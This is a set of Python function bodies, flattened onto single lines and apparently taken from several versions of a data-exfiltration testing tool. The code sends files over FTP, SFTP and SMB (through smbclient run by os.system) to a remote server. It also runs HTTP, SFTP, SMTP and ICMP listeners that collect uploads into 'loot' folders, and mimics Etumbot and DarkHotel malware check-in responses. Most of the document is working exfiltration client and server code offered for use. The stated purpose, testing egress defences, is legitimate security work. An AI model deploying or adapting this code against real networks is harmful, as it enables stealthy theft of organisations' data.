def transmit(self, data_to_transmit): try: ftp = FTP(self.remote_server) except socket.gaierror: print "[*] Error: Cannot connect to FTP server. Checking provided ip!" sys.exit() try: ftp.login(self.username, self.password) except error_perm: print "[*] Error: Username or password is incorrect! Please re-run." sys.exit() if not self.file_transfer: ftp_file_name = helpers.writeout_text_data(data_to_transmit) ftp.storlines( "STOR " + ftp_file_name, open(helpers.ea_path() + "/" + ftp_file_name)) os.remove(helpers.ea_path() + "/" + ftp_file_name) else: ftp.storbinary("STOR " + self.file_transfer, open(self.file_transfer)) ftp.quit() print "[*] File sent!!!"
def negotiatedTransmit(self, data_to_transmit,config=None): if config: self.username = config["ftp"]["username"] self.password = config["ftp"]["password"] self.port = int(config["ftp"]["port"]) print("[+] Sending FTP Data") try: ftp = FTP() ftp.connect(self.remote_server, self.port) except socket.gaierror: print "[*] Error: Cannot connect to FTP server. Checking provided ip!" sys.exit() try: ftp.login(self.username, self.password) except error_perm: print "[*] Error: Username or password is incorrect! Please re-run." sys.exit() if not self.file_transfer: ftp_file_name = helpers.writeout_text_data(data_to_transmit) ftp.storbinary( "STOR " + ftp_file_name, open(helpers.ea_path() + "/" + ftp_file_name)) os.remove(helpers.ea_path() + "/" + ftp_file_name) else: ftp.storbinary("STOR " + self.file_transfer, open(self.file_transfer)) ftp.quit() print "[*] File sent!!!"
def transmit(self, data_to_transmit): try: ftp = FTP() ftp.connect(self.remote_server, self.port) except socket.gaierror: print "[*] Error: Cannot connect to FTP server. Checking provided ip!" sys.exit() try: ftp.login(self.username, self.password) except error_perm: print "[*] Error: Username or password is incorrect! Please re-run." sys.exit() if not self.file_transfer: ftp_file_name = helpers.writeout_text_data(data_to_transmit) ftp.storbinary("STOR " + ftp_file_name, open(helpers.ea_path() + "/" + ftp_file_name)) os.remove(helpers.ea_path() + "/" + ftp_file_name) else: ftp.storbinary("STOR " + self.file_transfer, open(self.file_transfer)) ftp.quit() print "[*] File sent!!!"
def do_GET(self): if self.path in malware_callbacks.malware_uris: self.send_response(200) self.end_headers() elif self.path == malware_callbacks.etumbot_checkin: self.send_response(200) self.end_headers() self.wfile.write(malware_callbacks.etumbot_checkin_response) elif ((self.path.startswith(malware_callbacks.etumbot_uri) or self.path.startswith(malware_callbacks.etumbot_uri2)) and (self.path.endswith(malware_callbacks.etumbot_extensions) or self.path.endswith(malware_callbacks.etumbot_extensions2)) or self.path.startswith(malware_callbacks.etumbot_uri3) or self.path.startswith(malware_callbacks.etumbot_uri4) or self.path.startswith(malware_callbacks.etumbot_uri5)): # current directory exfil_directory = os.path.join(helpers.ea_path(), "data") loot_path = exfil_directory + "/" if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "actor_data.txt" with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write('etumbot just checked in here!\n') self.send_response(200) self.end_headers() self.wfile.write(random.choice(malware_callbacks.encoded_response)) elif self.path == malware_callbacks.darkhotel_checkin: self.send_response(200) self.end_headers() self.wfile.write('DEXT8726.168.15.192') elif self.path == malware_callbacks.darkhotel_checkin2: self.send_response(200) self.end_headers() self.wfile.write('DEXT87no') elif self.path.startswith(malware_callbacks.darkhotel_uri): exfil_directory = os.path.join(helpers.ea_path(), "data") loot_path = exfil_directory + "/" if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "actor_data.txt" with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write('DarkHotel just checked in here!\n') self.send_response(200) self.end_headers() self.wfile.write('DKCheckin good') else: # 404 since we aren't serving up any pages, only receiving data self.send_response(404) self.end_headers() return
def __init__(self, cli_object): self.protocol = "sftp" self.username = cli_object.username self.password = cli_object.password self.sftp_directory = helpers.ea_path() + '/data' if cli_object.server_port: self.port = int(cli_object.server_port) else: self.port = 22 self.key_path = helpers.ea_path() +\ '/protocols/servers/serverlibs/sftp/server.key' with open(self.key_path,'r') as f: self.key = f.read()
def transmit(self, data_to_transmit): # find current directory, make directory for mounting share # current directory exfil_directory = os.path.join(os.getcwd(), "mount") mount_path = exfil_directory + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(mount_path): os.makedirs(mount_path) # Base command to copy file over smb smb_command = f"smbclient \\\\\\\\{self.remote_server}" + f"\\\\TRANSFER -N -p {self.port} -c \"put " # If using a file, copy it, else write to disk and then copy if not self.file_transfer: smb_file_name = helpers.writeout_text_data(data_to_transmit) smb_full_path = helpers.ea_path() + "/" + smb_file_name smb_command += smb_file_name + "\"" else: smb_command += self.file_transfer + " " + self.file_name + "\"" smb_file_name = self.file_transfer print(smb_command) os.system(smb_command) if not self.file_transfer: os.remove(smb_full_path) print('[*] File Transmitted!')
def serve(self): loot_path = os.path.join(helpers.ea_path(), "data") + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) user_map = [sftp_classes.User( username=self.username, password=self.password, chroot=False), ] print "[*] Starting SFTP server..." try: server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', self.port)) server_socket.listen(10) except socket.error: print "[*] Error: Port in use! Please restart when port 22 is free!" sys.exit() print "[*] SFTP server started!\n" while True: try: client, addr = server_socket.accept() t = threading.Thread(target=self.accept_client, args=[ client, addr, self.sftp_directory, user_map, self.rsa_key, self.password]) t.start() except KeyboardInterrupt: print "[*] Shutting down SFTP server..." sys.exit() return
def __init__(self, cli_object): self.protocol = "sftp" self.username = cli_object.username self.password = cli_object.password self.sftp_directory = helpers.ea_path() + "/data" self.port = 22 self.rsa_key = """
def transmit(self, data_to_transmit): # find current directory, make directory for mounting share # current directory exfil_directory = os.path.join(os.getcwd(), "mount") mount_path = exfil_directory + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(mount_path): os.makedirs(mount_path) # Base command to copy file over smb smb_command = "smbclient \\\\\\\\" + self.remote_server + "\\\\DATA -N -c \"put " # If using a file, copy it, else write to disk and then copy if not self.file_transfer: smb_file_name = helpers.writeout_text_data(data_to_transmit) smb_full_path = helpers.ea_path() + "/" + smb_file_name smb_command += smb_file_name + "\"" else: smb_command += self.file_transfer + " " + self.file_name + "\"" smb_file_name = self.file_transfer print smb_command os.system(smb_command) if not self.file_transfer: os.remove(smb_full_path) print "[*] File Transmitted!" return
def transmit(self, data_to_transmit): print "[*] Transmitting data..." if not self.file_transfer: sftp_file_name = helpers.writeout_text_data(data_to_transmit) full_path = helpers.ea_path() + "/" + sftp_file_name transport = paramiko.Transport((self.remote_system, self.port)) transport.connect(username=self.username, password=self.password) sftp = paramiko.SFTPClient.from_transport(transport) sftp.put(full_path, '/' + sftp_file_name) # close sftp connection sftp.close() transport.close() os.remove(sftp_file_name) else: transport = paramiko.Transport((self.remote_system, self.port)) transport.connect(username=self.username, password=self.password) sftp = paramiko.SFTPClient.from_transport(transport) if "/" in self.file_transfer: sftp.put(self.file_transfer, '/' + self.file_transfer.split("/")[-1]) else: sftp.put(self.file_transfer, '/' + self.file_transfer) # close sftp connection sftp.close() transport.close() print "[*] Data sent!" return
def process_message(self, peer, mailfrom, rcpttos, data): print 'Receiving message from:', peer print 'Message addressed from:', mailfrom print 'Message addressed to :', rcpttos print 'Message length :', len(data) loot_directory = helpers.ea_path() + '/data' p = Parser() msgobj = p.parsestr(data) for part in msgobj.walk(): attachment = self.email_parse_attachment(part) if type(attachment) is dict and 'filedata' in attachment: decoded_file_data = base64.b64decode(attachment['filedata']) attach_file_name = attachment['filename'] with open(loot_directory + "/" + attach_file_name, 'wb') as attached_file: attached_file.write(decoded_file_data) else: current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") file_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "email_data.txt" with open(loot_directory + "/" + file_name, 'a') as email_file: email_file.write(data) return
def transmit(self, data_to_transmit): print "[*] Transmitting data..." if not self.file_transfer: sftp_file_name = helpers.writeout_text_data(data_to_transmit) full_path = helpers.ea_path() + "/" + sftp_file_name transport = paramiko.Transport(self.remote_system) transport.connect(username=self.username, password=self.password) sftp = paramiko.SFTPClient.from_transport(transport) sftp.put(full_path, '/' + sftp_file_name) # close sftp connection sftp.close() transport.close() os.remove(sftp_file_name) else: transport = paramiko.Transport(self.remote_system) transport.connect(username=self.username, password=self.password) sftp = paramiko.SFTPClient.from_transport(transport) if "/" in self.file_transfer: sftp.put(self.file_transfer, '/' + self.file_transfer.split("/")[-1]) else: sftp.put(self.file_transfer, '/' + self.file_transfer) # close sftp connection sftp.close() transport.close() print "[*] Data sent!" return
def __init__(self, cli_object): self.protocol = "sftp" self.username = cli_object.username self.password = cli_object.password self.sftp_directory = helpers.ea_path() + '/data' self.port = 22 self.rsa_key = """
def __init__(self, cli_object): self.protocol = "sftp" self.username = cli_object.username self.password = cli_object.password self.sftp_directory = helpers.ea_path() + '/data' if cli_object.server_port: self.port = int(cli_object.server_port) else: self.port = 22 self.rsa_key = """
def __init__(self, cli_object): self.protocol = "sftp" self.username = cli_object.username self.password = cli_object.password self.sftp_directory = helpers.ea_path() + '/transfer' if cli_object.server_port: self.port = int(cli_object.server_port) else: self.port = 22 self.rsa_key = """
def serve_on_port(self): try: cert_path = helpers.ea_path() +\ '/protocols/servers/serverlibs/web/server.pem' server = threaded_http.ThreadingHTTPServer( ('0.0.0.0', self.port), base_handler.GetHandler) server.socket = ssl.wrap_socket( server.socket, certfile=cert_path, server_side=True) server.serve_forever() except socket.error: print(f'[*] Error: Port {self.port} is currently in use.') sys.exit()
def serve_on_port(self): try: cert_path = helpers.ea_path() +\ '/protocols/servers/serverlibs/web/server.pem' server = threaded_http.ThreadingHTTPServer( ("0.0.0.0", self.port), base_handler.GetHandler) server.socket = ssl.wrap_socket( server.socket, certfile=cert_path, server_side=True) server.serve_forever() except socket.error: print "[*][*] Error: Port %d is currently in use!" % self.port print "[*][*] Error: Please restart when port is free!\n" sys.exit() return
def serve_on_port(self): try: cert_path = helpers.ea_path() +\ '/protocols/servers/serverlibs/web/server.pem' server = threaded_http.ThreadingHTTPServer(("0.0.0.0", self.port), base_handler.GetHandler) server.socket = ssl.wrap_socket(server.socket, certfile=cert_path, server_side=True) server.serve_forever() except socket.error: print "[*][*] Error: Port %d is currently in use!" % self.port print "[*][*] Error: Please restart when port is free!\n" sys.exit() return
def negotiatedServe(self): self.loot_path = os.path.join(helpers.ea_path(), "data") + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(self.loot_path): os.makedirs(self.loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") self.file_name = current_date.replace("/", "") + \ "_" + current_time.replace(":", "") + "text_data.txt" sniff(prn=self.customAction)
def serve(self): self.loot_path = os.path.join(helpers.ea_path(), 'transfer') + '/' # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(self.loot_path): os.makedirs(self.loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") self.file_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "text_data.txt" print('[*] Starting an ICMP server/sniffer.') sniff(prn=self.custom_action)
def serve(self): self.loot_path = os.path.join(helpers.ea_path(), "data") + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(self.loot_path): os.makedirs(self.loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") self.file_name = current_date.replace("/", "") + "_" + current_time.replace(":", "") + "text_data.txt" print "[*] ICMP server/sniffer started!" sniff(prn=self.customAction) return
def negotiatedTransmit(self, data_to_transmit,config=None): self.username = config["smb"]["username"] self.password = config["smb"]["password"] print("[+] Sending SMB Data") # find current directory, make directory for mounting share # current directory exfil_directory = os.path.join(os.getcwd(), "mount") mount_path = exfil_directory + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(mount_path): os.makedirs(mount_path) # Base command to copy file over smb if self.username == "null" and self.password == "null": smb_command = "smbclient \\\\\\\\" + self.remote_server + "\\\\DATA -N -c \"put " else: smb_command = "smbclient \\\\\\\\" + self.remote_server + "\\\\DATA -U " + self.username + " " +self.password +" -c \"put " # If using a file, copy it, else write to disk and then copy if not self.file_transfer: smb_file_name = helpers.writeout_text_data(data_to_transmit) smb_full_path = helpers.ea_path() + "/" + smb_file_name smb_command += smb_file_name + "\"" else: smb_command += self.file_transfer + " " + self.file_name + "\"" smb_file_name = self.file_transfer print smb_command os.system(smb_command) if not self.file_transfer: os.remove(smb_full_path) print "[*] File Transmitted!" return
def serve(self): exfil_directory = os.path.join(helpers.ea_path(), 'transfer/') if not os.path.isdir(exfil_directory): os.makedirs(exfil_directory) print(f'[*] Started an SMTP server on port {self.port}.') try: smtp_class.CustomSMTPServer(('0.0.0.0', self.port), None) except socket.error: print(f'[*] Error: Port {self.port} is currently in use.') print('[*] Error: Please re-start when not in use.') sys.exit() try: asyncore.loop() except KeyboardInterrupt: print('[*] Shutting down the SMTP server.') sys.exit()
def negotiatedTransmit(self, data_to_transmit, config=None): if config: self.username = config["sftp"]["username"] self.password = config["sftp"]["password"] self.port = int(config["sftp"]["port"]) print "[+] Sending SFTP Data" if not self.file_transfer: sftp_file_name = helpers.writeout_text_data(data_to_transmit) full_path = helpers.ea_path() + "/" + sftp_file_name transport = paramiko.Transport((self.remote_system, self.port)) transport.connect(username=self.username, password=self.password) sftp = paramiko.SFTPClient.from_transport(transport) sftp.put(full_path, '/' + sftp_file_name) # close sftp connection sftp.close() transport.close() os.remove(sftp_file_name) else: transport = paramiko.Transport((self.remote_system, self.port)) transport.connect(username=self.username, password=self.password) sftp = paramiko.SFTPClient.from_transport(transport) if "/" in self.file_transfer: sftp.put(self.file_transfer, '/' + self.file_transfer.split("/")[-1]) else: sftp.put(self.file_transfer, '/' + self.file_transfer) # close sftp connection sftp.close() transport.close() print "[*] Data sent!" return
def serve(self): loot_path = os.path.join(helpers.ea_path(), 'transfer') + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) user_map = [ sftp_classes.User(username=self.username, password=self.password, chroot=False), ] print(f'[*] Starting an SFTP server on port {self.port}.') try: server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', self.port)) server_socket.listen(10) except socket.error: print(f'[*] Error: Port {self.port} is currently in use.') sys.exit() print(f'[*] Starting an SFTP server on port {self.port}.') while True: try: client, addr = server_socket.accept() t = threading.Thread(target=self.accept_client, args=[ client, addr, self.sftp_directory, user_map, self.rsa_key, self.password ]) t.daemon = True t.start() except KeyboardInterrupt: print('[*] Shutting down the SFTP server.') sys.exit()
def serve(self): exfil_directory = os.path.join(helpers.ea_path(), "data/") if not os.path.isdir(exfil_directory): os.makedirs(exfil_directory) print "[*] Started SMTP server..." try: smtp_server = smtp_class.CustomSMTPServer(('0.0.0.0', self.port), None) except socket.error: print "[*] Error: Port %d is currently in use!" % self.port print "[*] Error: Please re-start when not in use." sys.exit() try: asyncore.loop() except KeyboardInterrupt: print "[*] Shutting down SMTP server..." sys.exit() return
def serve_on_port(self): try: cert_path = helpers.ea_path() +\ '/protocols/servers/serverlibs/web/server.pem' server = threaded_http.ThreadingHTTPServer(("0.0.0.0", self.port), base_handler.GetHandler) server.socket = ssl.wrap_socket(server.socket, certfile=cert_path, server_side=True) server.serve_forever() except socket.error: if self.arguments.negotiation: requests.get( "http://localhost:5000/send-status?error=True&protocol=%s" % self.protocol) else: print "[*][*] Error: Port %s is currently in use!" % self.port print "[*][*] Error: Please restart when port is free!\n" sys.exit() except KeyboardInterrupt: sys.exit(0) return
def serve(self): exfil_directory = os.path.join(helpers.ea_path(), "data/") if not os.path.isdir(exfil_directory): os.makedirs(exfil_directory) print "[*] Started SMTP server..." try: smtp_server = smtp_class.CustomSMTPServer(('0.0.0.0', 25), None) except socket.error: print "[*] Error: Port 25 is currently in use!" print "[*] Error: Please re-start when not in use." sys.exit() try: asyncore.loop() except KeyboardInterrupt: print "[*] Shutting down SMTP server..." sys.exit() return
def negotiatedServe(self): loot_path = os.path.join(helpers.ea_path(), "data") + "/" # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) user_map = [ sftp_classes.User(username=self.username, password=self.password, chroot=False), ] try: server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', self.port)) server_socket.listen(10) except socket.error: requests.get( "http://localhost:5000/send-status?error=True&protocol=%s" % self.protocol) sys.exit() while True: try: client, addr = server_socket.accept() t = threading.Thread(target=self.accept_client, args=[ client, addr, self.sftp_directory, user_map, self.rsa_key, self.password ]) t.daemon = True t.start() except KeyboardInterrupt: sys.exit()
def negotiatedServe(self): exfil_directory = os.path.join(helpers.ea_path(), "data/") if not os.path.isdir(exfil_directory): os.makedirs(exfil_directory) try: smtp_server = smtp_class.CustomSMTPServer(('0.0.0.0', self.port), None) except socket.error: requests.get( "http://localhost:5000/send-status?error=True&protocol=%s" % self.protocol) try: asyncore.loop() except KeyboardInterrupt: requests.get( "http://localhost:5000/send-status?stop=True&protocol=%s" % self.protocol) sys.exit() return
def do_GET(self): if self.path in malware_callbacks.malware_uris: self.send_response(200) self.end_headers() elif self.path == malware_callbacks.etumbot_checkin: self.send_response(200) self.end_headers() self.wfile.write(malware_callbacks.etumbot_checkin_response) elif (self.path.startswith(malware_callbacks.etumbot_uri) or self.path.startswith(malware_callbacks.etumbot_uri2)) \ and (self.path.endswith(malware_callbacks.etumbot_extensions) or self.path.endswith(malware_callbacks.etumbot_extensions2)) \ or self.path.startswith(malware_callbacks.etumbot_uri3) \ or self.path.startswith(malware_callbacks.etumbot_uri4) or self.path.startswith(malware_callbacks.etumbot_uri5): # current directory exfil_directory = os.path.join(helpers.ea_path(), 'transfer') loot_path = exfil_directory + '/' if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace( "/", "") + "_" + current_time.replace(":", "") + "actor_data.txt" with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write('etumbot just checked in here!\n') self.send_response(200) self.end_headers() self.wfile.write(random.choice(malware_callbacks.encoded_response)) elif self.path == malware_callbacks.darkhotel_checkin: self.send_response(200) self.end_headers() self.wfile.write(b'DEXT8726.168.15.192') elif self.path == malware_callbacks.darkhotel_checkin2: self.send_response(200) self.end_headers() self.wfile.write(b'DEXT87no') elif self.path.startswith(malware_callbacks.darkhotel_uri): exfil_directory = os.path.join(helpers.ea_path(), 'transfer') loot_path = exfil_directory + "/" if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace( "/", "") + "_" + current_time.replace(":", "") + "actor_data.txt" with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write('DarkHotel just checked in here!\n') self.send_response(200) self.end_headers() self.wfile.write(b'DKCheckin good') else: # 404 since we aren't serving up any pages, only receiving data self.send_response(404) self.end_headers() return
# I REALLY hate using globals, unfortunately I am not aware of a better # solution at this time. The problem that globals fix in this situation # is that a dictionary is required to maintain the state of the DNS file data # before writing it to a file. The state cannot be maintained in the class # BaseRequestHandler, because it is run for every request # # A couple of things that may be able to solve this problem: # 1. A way to pass a method from class Server to the class BaseRequestHandler # which can set/retrieve the attributes of the Server class from the BaseRequestHandler # 2. Writing a custom SocketServer class that has additional attributes to maintain the state # of the FILE_DICT # 3. Maintain the GLOBAL variables # # I would prefer #1 if possible, I am unaware of how to do this currently though. LOOT_PATH = os.path.join(helpers.ea_path(), 'transfer') + "/" FILE_DICT = {} FILE_NAME = "" FILE_STATUS = "0" LAST_PACKET = "" def set_file_name(): global FILE_NAME current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") FILE_NAME = current_date.replace("/", "") + "_" + current_time.replace( ":", "") + "text_data.txt"
def do_POST(self): # Gather the Posted URI from the agent/browser # parsed_path = urlparse.urlparse(self.path) uri_posted = self.path uri_posted = uri_posted.replace("/", "") #incoming_ip = self.client_address[0] # current directory exfil_directory = os.path.join(helpers.ea_path(), "data") loot_path = exfil_directory + "/" # Info for this from - # http://stackoverflow.com/questions/13146064/simple- # python-webserver-to-save-file if uri_posted == "post_data.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "web_data.txt" # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) # Write out the file with open(loot_path + screenshot_name, 'w') as cc_data_file: cc_data_file.write(screen_data) elif uri_posted == "post_file.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) file_name = screen_data.split(".:::-989-:::.")[0] file_data = screen_data.split(".:::-989-:::.")[1] with open(loot_path + file_name, 'wb') as cc_data_file: cc_data_file.write(file_data) # All other Post requests else: self.send_response(404) self.end_headers() print "Odd... someone else is trying to access this web server..." print "Might want to check that out..." return
def do_POST(self): # current directory exfil_directory = os.path.join(helpers.ea_path(), "data") loot_path = exfil_directory + "/" # Info for this from - # http://stackoverflow.com/questions/13146064/simple- # python-webserver-to-save-file if self.path == "/post_data.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "web_data.txt" # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) # Write out the file with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write(screen_data) elif self.path == "/post_file.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) file_name = screen_data.split(".:::-989-:::.")[0] file_data = screen_data.split(".:::-989-:::.")[1] with open(loot_path + file_name, 'wb') as cc_data_file: cc_data_file.write(file_data) elif self.path == "/posh_file.php": self.send_response(200) self.end_headers() mode = 'wb' chunk_size = 10000000 # 10MB chunks # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Read the length of the screenshot file being uploaded length = self.headers['content-length'] filename = self.headers['Filename'] append = self.headers.get('Append') read_bytes = 0 if append: mode = 'ab' with open(loot_path + filename, mode) as cc_data_file: while read_bytes < int(length): data = self.rfile.read(chunk_size) read_bytes += len(data) print("[*] {} - Read {} bytes of {}...".format( filename, read_bytes, length)) cc_data_file.write(data) elif (self.path in malware_callbacks.malware_uris) or ( self.path.startswith(other_uri) for other_uri in malware_callbacks.other_apt_uris): self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "actor_data.txt" # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) # Write out the file with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write(screen_data) # All other Post requests else: self.send_response(404) self.end_headers() print "Odd... someone else is trying to access this web server..." print "Might want to check that out..." return
def do_POST(self): # current directory exfil_directory = os.path.join(helpers.ea_path(), "data") loot_path = exfil_directory + "/" # Info for this from - # http://stackoverflow.com/questions/13146064/simple- # python-webserver-to-save-file if self.path == "/post_data.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "web_data.txt" # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) # Write out the file with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write(screen_data) elif self.path == "/post_file.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) file_name = screen_data.split(".:::-989-:::.")[0] file_data = screen_data.split(".:::-989-:::.")[1] with open(loot_path + file_name, 'wb') as cc_data_file: cc_data_file.write(file_data) elif self.path == "/posh_file.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Read the length of the screenshot file being uploaded length = self.headers['content-length'] filename = self.headers['Filename'] data = self.rfile.read(int(length)) with open(loot_path + filename, 'wb') as cc_data_file: cc_data_file.write(data) elif (self.path in malware_callbacks.malware_uris) or (self.path.startswith(other_uri) for other_uri in malware_callbacks.other_apt_uris): self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace("/", "") +\ "_" + current_time.replace(":", "") + "actor_data.txt" # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) # Write out the file with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write(screen_data) # All other Post requests else: self.send_response(404) self.end_headers() print "Odd... someone else is trying to access this web server..." print "Might want to check that out..." return
def do_POST(self): # current directory exfil_directory = os.path.join(helpers.ea_path(), 'transfer') loot_path = exfil_directory + '/' # Info for this from - # http://stackoverflow.com/questions/13146064/simple- # python-webserver-to-save-file if self.path == "/post_data.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace( "/", "") + "_" + current_time.replace(":", "") + "web_data.txt" # Read the length of the file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) # Write out the file with open(loot_path + screenshot_name, 'a') as cc_data_file: cc_data_file.write('METADATA: From: ' + str(self.client_address) + ' ' + str(self.address_string) + '\n\n') cc_data_file.write(str(screen_data)) elif self.path == "/post_file.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Read the length of the file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) file_name = screen_data.split(b".:::-989-:::.")[0].decode('utf-8') file_data = screen_data.split(b".:::-989-:::.")[1].decode('utf-8') with open(loot_path + file_name, 'wb') as cc_data_file: helpers.received_file(file_name) cc_data_file.write(bytes(file_data, encoding='utf-8')) elif self.path == "/posh_file.php": self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Read the length of the file being uploaded length = self.headers['content-length'] filename = self.headers['Filename'] data = self.rfile.read(int(length)) with open(loot_path + filename, 'wb') as cc_data_file: cc_data_file.write(data) elif (self.path in malware_callbacks.malware_uris) or ( self.path.startswith(other_uri) for other_uri in malware_callbacks.other_apt_uris): self.send_response(200) self.end_headers() # Check to make sure the agent directory exists, and a loot # directory for the agent. If not, make them if not os.path.isdir(loot_path): os.makedirs(loot_path) # Get the date info current_date = time.strftime("%m/%d/%Y") current_time = time.strftime("%H:%M:%S") screenshot_name = current_date.replace( "/", "") + "_" + current_time.replace(":", "") + "actor_data.txt" # Read the length of the screenshot file being uploaded screen_length = self.headers['content-length'] screen_data = self.rfile.read(int(screen_length)) 